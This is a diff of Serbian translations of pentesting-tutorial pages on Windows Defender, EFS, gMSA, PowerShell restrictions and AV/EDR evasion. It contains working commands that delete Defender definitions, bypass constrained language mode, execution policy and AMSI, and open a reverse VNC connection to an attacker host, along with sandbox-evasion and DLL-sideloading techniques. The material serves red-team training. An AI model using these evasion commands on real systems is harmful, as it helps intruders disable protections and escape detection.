Da proverite **status** **Defender-a** možete izvršiti PS cmdlet **`Get-MpComputerStatus`** (proverite vrednost **`RealTimeProtectionEnabled`** da saznate da li je aktivna):
|
||||
Da proverite **status** **Defender-a** možete izvršiti PS cmdlet **`Get-MpComputerStatus`** (proverite vrednost **`RealTimeProtectionEnabled`** da biste znali da li je aktivna):
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||
|
||||
@ -101,52 +101,54 @@ sc query windefend
|
||||
#Delete all rules of Defender (useful for machines without internet access)
|
||||
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
```
|
||||
## Enkriptovani Fajl Sistem (EFS)
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS obezbeđuje fajlove putem enkripcije, koristeći **simetrični ključ** poznat kao **Ključ za enkripciju fajla (FEK)**. Ovaj ključ je enkriptovan korisnikovim **javnim ključem** i smešten unutar $EFS **alternativnog toka podataka** enkriptovanog fajla. Kada je potrebna dekripcija, koristi se odgovarajući **privatni ključ** korisničkog digitalnog sertifikata za dekripciju FEK-a iz $EFS toka. Više detalja možete pronaći [ovde](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS obezbeđuje datoteke putem enkripcije, koristeći **simetrični ključ** poznat kao **Ključ za enkripciju datoteka (FEK)**. Ovaj ključ je enkriptovan korisnikovim **javnim ključem** i smešten unutar $EFS **alternativnog toka podataka** enkriptovane datoteke. Kada je potrebna dekripcija, koristi se odgovarajući **privatni ključ** korisničkog digitalnog sertifikata za dekripciju FEK-a iz $EFS toka. Više detalja možete pronaći [ovde](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Scenariji dekripcije bez inicijacije korisnika** uključuju:
|
||||
|
||||
- Kada se fajlovi ili fascikle presele na ne-EFS fajl sistem, kao što je [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), automatski se dekriptuju.
|
||||
- Enkriptovani fajlovi poslati preko mreže putem SMB/CIFS protokola dekriptuju se pre prenosa.
|
||||
- Kada se datoteke ili fascikle presele na ne-EFS datotečni sistem, kao što je [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), automatski se dekriptuju.
|
||||
- Enkriptovane datoteke poslate preko mreže putem SMB/CIFS protokola dekriptuju se pre prenosa.
|
||||
|
||||
Ova metoda enkripcije omogućava **transparentan pristup** enkriptovanim fajlovima za vlasnika. Međutim, jednostavna promena lozinke vlasnika i prijavljivanje neće omogućiti dekripciju.
|
||||
Ova metoda enkripcije omogućava **transparentan pristup** enkriptovanim datotekama za vlasnika. Međutim, jednostavna promena lozinke vlasnika i prijavljivanje neće omogućiti dekripciju.
|
||||
|
||||
**Ključne tačke**:
|
||||
|
||||
- EFS koristi simetrični FEK, enkriptovan korisnikovim javnim ključem.
|
||||
- Dekripcija koristi korisnikov privatni ključ za pristup FEK-u.
|
||||
- Automatska dekripcija se dešava pod specifičnim uslovima, kao što su kopiranje na FAT32 ili mrežni prenos.
|
||||
- Enkriptovani fajlovi su dostupni vlasniku bez dodatnih koraka.
|
||||
- Enkriptovane datoteke su dostupne vlasniku bez dodatnih koraka.
|
||||
|
||||
### Proverite EFS informacije
|
||||
|
||||
Proverite da li je **korisnik** **koristio** ovu **uslugu** proverom da li ovaj put postoji: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Proverite **ko** ima **pristup** fajlu koristeći cipher /c \<file>\
|
||||
Takođe možete koristiti `cipher /e` i `cipher /d` unutar fascikle da **enkriptujete** i **dekriptuju** sve fajlove
|
||||
Proverite **ko** ima **pristup** datoteci koristeći cipher /c \<file>\
|
||||
Takođe možete koristiti `cipher /e` i `cipher /d` unutar fascikle da **enkriptujete** i **dekriptuje** sve datoteke
|
||||
|
||||
### Dekripcija EFS fajlova
|
||||
### Dekripcija EFS datoteka
|
||||
|
||||
#### Biti Autoritet Sistem
|
||||
|
||||
Ovaj način zahteva da **žrtva korisnik** bude **pokrenut** u **procesu** unutar hosta. Ako je to slučaj, koristeći `meterpreter` sesije možete imitirati token procesa korisnika (`impersonate_token` iz `incognito`). Ili možete jednostavno `migrirati` u proces korisnika.
|
||||
Ovaj način zahteva da **žrtva korisnik** bude **pokrenut** **proces** unutar hosta. Ako je to slučaj, koristeći `meterpreter` sesije možete imitirati token procesa korisnika (`impersonate_token` iz `incognito`). Ili možete jednostavno `migrate` u proces korisnika.
|
||||
|
||||
#### Poznavanje lozinke korisnika
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Grupa Upravljanih Servisnih Računa (gMSA)
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft je razvio **Grupa Upravljanih Servisnih Računa (gMSA)** kako bi pojednostavio upravljanje servisnim računima u IT infrastrukturnim sistemima. Za razliku od tradicionalnih servisnih računa koji često imaju podešavanje "**Lozinka nikada ne ističe**" omogućeno, gMSA nude sigurnije i upravljivije rešenje:
|
||||
Microsoft je razvio **Group Managed Service Accounts (gMSA)** kako bi pojednostavio upravljanje servisnim nalozima u IT infrastrukturnim sistemima. Za razliku od tradicionalnih servisnih naloga koji često imaju podešavanje "**Lozinka nikada ne ističe**" omogućeno, gMSA nude sigurnije i upravljivije rešenje:
|
||||
|
||||
- **Automatsko upravljanje lozinkama**: gMSA koriste složenu, 240-karakterističnu lozinku koja se automatski menja prema politici domena ili računara. Ovaj proces se obavlja putem Microsoftove Usluge za Distribuciju Ključeva (KDC), eliminišući potrebu za ručnim ažuriranjima lozinki.
|
||||
- **Povećana sigurnost**: Ovi računi su imuni na zaključavanje i ne mogu se koristiti za interaktivna prijavljivanja, čime se povećava njihova sigurnost.
|
||||
- **Automatsko upravljanje lozinkama**: gMSA koriste složenu, 240-karakternu lozinku koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces se obavlja putem Microsoftove usluge za distribuciju ključeva (KDC), eliminišući potrebu za ručnim ažuriranjima lozinki.
|
||||
- **Povećana sigurnost**: Ovi nalozi su imuni na zaključavanje i ne mogu se koristiti za interaktivna prijavljivanja, čime se povećava njihova sigurnost.
|
||||
- **Podrška za više hostova**: gMSA se mogu deliti između više hostova, što ih čini idealnim za usluge koje se pokreću na više servera.
|
||||
- **Mogućnost zakazanih zadataka**: Za razliku od upravljanih servisnih računa, gMSA podržavaju pokretanje zakazanih zadataka.
|
||||
- **Pojednostavljeno upravljanje SPN-om**: Sistem automatski ažurira Ime Servisnog Principala (SPN) kada dođe do promena u detaljima sAMaccount-a računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.
|
||||
- **Mogućnost zakazanih zadataka**: Za razliku od upravljanih servisnih naloga, gMSA podržavaju pokretanje zakazanih zadataka.
|
||||
- **Pojednostavljeno upravljanje SPN-om**: Sistem automatski ažurira Ime servisnog principala (SPN) kada dođe do promena u detaljima sAMaccount-a računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.
|
||||
|
||||
Lozinke za gMSA se čuvaju u LDAP svojstvu _**msDS-ManagedPassword**_ i automatski se resetuju svake 30 dana od strane Kontrolera Domen (DC). Ova lozinka, enkriptovani podatkovni blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može se dobiti samo od strane ovlašćenih administratora i servera na kojima su gMSA instalirani, obezbeđujući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je sigurna veza kao što je LDAPS, ili veza mora biti autentifikovana sa 'Sealing & Secure'.
|
||||
Lozinke za gMSA se čuvaju u LDAP svojstvu _**msDS-ManagedPassword**_ i automatski se resetuju svake 30 dana od strane kontrolera domena (DC). Ova lozinka, enkriptovani podatkovni blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može se dobiti samo od strane ovlašćenih administratora i servera na kojima su gMSA instalirani, obezbeđujući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je sigurna veza kao što je LDAPS, ili veza mora biti autentifikovana sa 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
@ -175,7 +177,7 @@ PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powers
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### Obilaženje
|
||||
### Zaobilaženje
|
||||
```powershell
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
@ -193,9 +195,9 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```
|
||||
Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **izvršite Powershell** kod u bilo kojem procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## PS Politika izvršavanja
|
||||
## PS Politika izvršenja
|
||||
|
||||
Podrazumevano je postavljena na **ograničeno.** Glavni načini za zaobilaženje ove politike:
|
||||
Podrazumevano je postavljena na **restricted.** Glavni načini za zaobilaženje ove politike:
|
||||
```powershell
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
@ -219,7 +221,7 @@ Više informacija se može naći [ovde](https://blog.netspi.com/15-ways-to-bypas
|
||||
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
SSPI je API koji se može koristiti za autentifikaciju korisnika.
|
||||
Je API koji se može koristiti za autentifikaciju korisnika.
|
||||
|
||||
SSPI će biti zadužen za pronalaženje adekvatnog protokola za dve mašine koje žele da komuniciraju. Preferirani metod za ovo je Kerberos. Zatim će SSPI pregovarati koji autentifikacioni protokol će se koristiti, ovi autentifikacioni protokoli se nazivaju Security Support Provider (SSP), nalaze se unutar svake Windows mašine u obliku DLL-a i obe mašine moraju podržavati isti da bi mogle da komuniciraju.
|
||||
|
||||
@ -229,7 +231,7 @@ SSPI će biti zadužen za pronalaženje adekvatnog protokola za dve mašine koje
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** i **NTLMv2**: Razlozi kompatibilnosti
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: Web serveri i LDAP, lozinka u obliku MD5 heša
|
||||
- **Digest**: Web serveri i LDAP, lozinka u obliku MD5 haša
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL i TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
|
@ -31,13 +31,13 @@ Toplo preporučujem da pogledate ovu [YouTube playlistu](https://www.youtube.com
|
||||
|
||||
### **Dinamička analiza**
|
||||
|
||||
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pregledača, izvođenje minidump-a na LSASS, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandboxes.
|
||||
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pregledača, izvođenje minidump-a na LSASS-u, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandboxes.
|
||||
|
||||
- **Sleep pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih sleep-ova može ometati analizu binarnih fajlova. Problem je što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti sleep u zavisnosti od toga kako je implementirano.
|
||||
- **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne sve će biti implementirano u sandbox-u.
|
||||
- **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da se zatvori.
|
||||
- **Sleep pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih sleep-ova može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandboxes mogu jednostavno preskočiti sleep u zavisnosti od toga kako je implementirano.
|
||||
- **Proveravanje resursa mašine** Obično sandboxes imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne sve će biti implementirano u sandbox-u.
|
||||
- **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da izađe.
|
||||
|
||||
Ispostavlja se da je ime računara Microsoft Defender-ovog Sandbox-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandbox-a, tako da možete naterati svoj program da se zatvori.
|
||||
Ispostavlja se da je ime računara Microsoft Defender-ovog Sandbox-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandbox-a, tako da možete naterati svoj program da izađe.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>izvor: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
@ -47,7 +47,7 @@ Neki drugi zaista dobri saveti od [@mgeeky](https://twitter.com/mariuszbit) za b
|
||||
|
||||
Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkriveni**, tako da biste trebali postaviti sebi pitanje:
|
||||
|
||||
Na primer, ako želite da dump-ujete LSASS, **da li zaista treba da koristite mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
|
||||
Na primer, ako želite da dump-ujete LSASS, **da li zaista morate koristiti mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
|
||||
|
||||
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih komada malvera od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV-e, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
|
||||
|
||||
@ -56,28 +56,28 @@ Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Kad god je to moguće, uvek **prioritizujte korišćenje DLL-ova za evaziju**, prema mom iskustvu, DLL datoteke su obično **mnogo manje otkrivene** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL naravno).
|
||||
Kad god je to moguće, uvek **prioritizujte korišćenje DLL-ova za evaziju**, prema mom iskustvu, DLL datoteke su obično **mnogo manje detektovane** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL naravno).
|
||||
|
||||
Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me poređenje normalnog Havoc EXE payload-a vs normalnog Havoc DLL-a</p></figcaption></figure>
|
||||
|
||||
Sada ćemo pokazati neke trikove koje možete koristiti sa DLL datotekama da biste bili mnogo neprimetniji.
|
||||
Sada ćemo pokazati neke trikove koje možete koristiti sa DLL datotekama da biste bili mnogo stealthier.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** koristi prednost reda pretrage DLL-a koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload zajedno.
|
||||
|
||||
Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
|
||||
Možete proveriti programe podložne DLL Sideloading koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
|
||||
```powershell
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
Ova komanda će prikazati listu programa podložnih DLL hijacking-u unutar "C:\Program Files\\" i DLL fajlova koje pokušavaju da učitaju.
|
||||
Ova komanda će prikazati listu programa podložnih DLL hijackingu unutar "C:\Program Files\\" i DLL datoteka koje pokušavaju da učitaju.
|
||||
|
||||
Toplo preporučujem da **istražite DLL Hijackable/Sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL Sideloadable programe, lako možete biti uhvaćeni.
|
||||
Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
|
||||
|
||||
Samo postavljanje malicioznog DLL-a sa imenom koje program očekuje da učita, neće učitati vaš payload, jer program očekuje neke specifične funkcije unutar tog DLL-a. Da bismo rešili ovaj problem, koristićemo drugu tehniku nazvanu **DLL Proxying/Forwarding**.
|
||||
|
||||
@ -107,11 +107,11 @@ I naš shellcode (kodiran sa [SGN](https://github.com/EgeBalci/sgn)) i proxy DLL
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **Preporučujem** da pogledate [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloadingu, kao i [ippsecov video](https://www.youtube.com/watch?v=3eROsG_WNpE) da biste saznali više o onome što smo detaljnije razgovarali.
|
||||
> **Toplo preporučujem** da pogledate [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloadingu, kao i [ippsecov video](https://www.youtube.com/watch?v=3eROsG_WNpE) da biste saznali više o onome što smo detaljnije razgovarali.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze je alat za payload za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršavanja`
|
||||
`Freeze je alat za payload koji se koristi za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršavanja`
|
||||
|
||||
Možete koristiti Freeze da učitate i izvršite svoj shellcode na diskretan način.
|
||||
```
|
||||
@ -151,17 +151,17 @@ Postoji nekoliko načina da se zaobiđe AMSI:
|
||||
|
||||
- **Obfuskacija**
|
||||
|
||||
Pošto AMSI uglavnom radi sa statičkim detekcijama, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
|
||||
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
|
||||
|
||||
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. To čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
|
||||
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. Ovo čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
Pošto je AMSI implementiran učitavanjem DLL-a u proces powershell (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje.
|
||||
Pošto je AMSI implementiran učitavanjem DLL-a u proces powershell-a (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje.
|
||||
|
||||
**Prisiljavanje na grešku**
|
||||
|
||||
Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) će rezultirati time da nijedno skeniranje neće biti inicirano za trenutni proces. Prvobitno je ovo otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio potpis da spreči širu upotrebu.
|
||||
Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) rezultiraće time da nijedno skeniranje neće biti inicirano za trenutni proces. Prvobitno je ovo otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio potpis da spreči širu upotrebu.
|
||||
```powershell
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
@ -202,7 +202,7 @@ Postoji nekoliko alata koji se mogu koristiti za **obfuskaciju C# koda u čistom
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Cilj ovog projekta je da pruži open-source fork [LLVM](http://www.llvm.org/) kompilacione suite sposobne da pruži povećanu sigurnost softvera kroz [obfuskaciju koda](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zaštitu od neovlašćenih izmena.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje kako koristiti `C++11/14` jezik za generisanje, u vreme kompajliranja, obfuskovanog koda bez korišćenja bilo kog spoljnog alata i bez modifikovanja kompajlera.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj obfuskovanih operacija generisanih C++ metaprogramskim okvirom koji će otežati život osobi koja želi da provali aplikaciju.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binarni obfuskator koji može obfuskovati razne različite pe datoteke uključujući: .exe, .dll, .sys
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 obfuskator binarnih datoteka koji može obfuskovati različite pe datoteke uključujući: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorfni kod motor za proizvoljne izvršne datoteke.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je okvir za obfuskaciju koda sa finim granicama za jezike podržane od strane LLVM koristeći ROP (programiranje orijentisano na povratak). ROPfuscator obfuskira program na nivou asemblera transformišući obične instrukcije u ROP lance, ometajući naše prirodno shvatanje normalnog toka kontrole.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE kripter napisan u Nimu.
|
||||
@ -261,19 +261,19 @@ Evo demonstracije za zaobilaženje SmartScreen-a pakovanjem payload-a unutar ISO
|
||||
|
||||
Učitavanje C# binarnih datoteka u memoriju poznato je već neko vreme i još uvek je veoma dobar način za pokretanje vaših alata nakon eksploatacije bez da vas AV uhvati.
|
||||
|
||||
Pošto će payload biti učitan direktno u memoriju bez dodirivanja diska, moraćemo se brinuti samo o patchovanju AMSI tokom celog procesa.
|
||||
Pošto će se payload učitati direktno u memoriju bez dodirivanja diska, moraćemo da se brinemo samo o patchovanju AMSI tokom celog procesa.
|
||||
|
||||
Većina C2 okvira (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već pruža mogućnost izvršavanja C# assembly-a direktno u memoriji, ali postoje različiti načini za to:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Ovo uključuje **pokretanje novog žrtvenog procesa**, injektovanje vašeg malicioznog koda nakon eksploatacije u taj novi proces, izvršavanje vašeg malicioznog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je u tome što se izvršavanje dešava **izvan** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je u tome što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
|
||||
Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg malicioznog koda nakon eksploatacije u taj novi proces, izvršavanje vašeg malicioznog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je u tome što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je u tome što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Radi se o injektovanju malicioznog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je u tome što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite svoj beacon** jer bi mogao da se sruši.
|
||||
Radi se o injektovanju malicioznog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je u tome što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -284,9 +284,9 @@ Takođe možete učitati C# Assembly-e **iz PowerShell-a**, pogledajte [Invoke-S
|
||||
|
||||
## Korišćenje drugih programskih jezika
|
||||
|
||||
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti maliciozni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpretera instaliranom na SMB delu pod kontrolom napadača**.
|
||||
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti maliciozni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpretera instaliranom na SMB deljenju pod kontrolom napadača**.
|
||||
|
||||
Omogućavanjem pristupa Interpreter Binaries i okruženju na SMB delu možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
|
||||
Omogućavanjem pristupa Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
|
||||
|
||||
Repozitorijum ukazuje: Defender i dalje skenira skripte, ali korišćenjem Go, Java, PHP itd. imamo **više fleksibilnosti da zaobiđemo statične potpise**. Testiranje sa nasumičnim neobfuskovanim reverse shell skriptama u ovim jezicima se pokazalo uspešnim.
|
||||
|
||||
@ -298,11 +298,15 @@ Svako okruženje protiv kojeg se borite imaće svoje snage i slabosti.
|
||||
|
||||
Toplo vas savetujem da pogledate ovaj govor od [@ATTL4S](https://twitter.com/DaniLJ94), kako biste stekli uvid u naprednije tehnike izbegavanja.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Ovo je takođe još jedan sjajan govor od [@mariuszbit](https://twitter.com/mariuszbit) o izbegavanju u dubini.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Stare tehnike**
|
||||
|
||||
@ -340,9 +344,9 @@ Zatim, premestite binarni _**winvnc.exe**_ i **novokreirani** fajl _**UltraVNC.i
|
||||
|
||||
#### **Obrnuta veza**
|
||||
|
||||
**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i pokrenite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
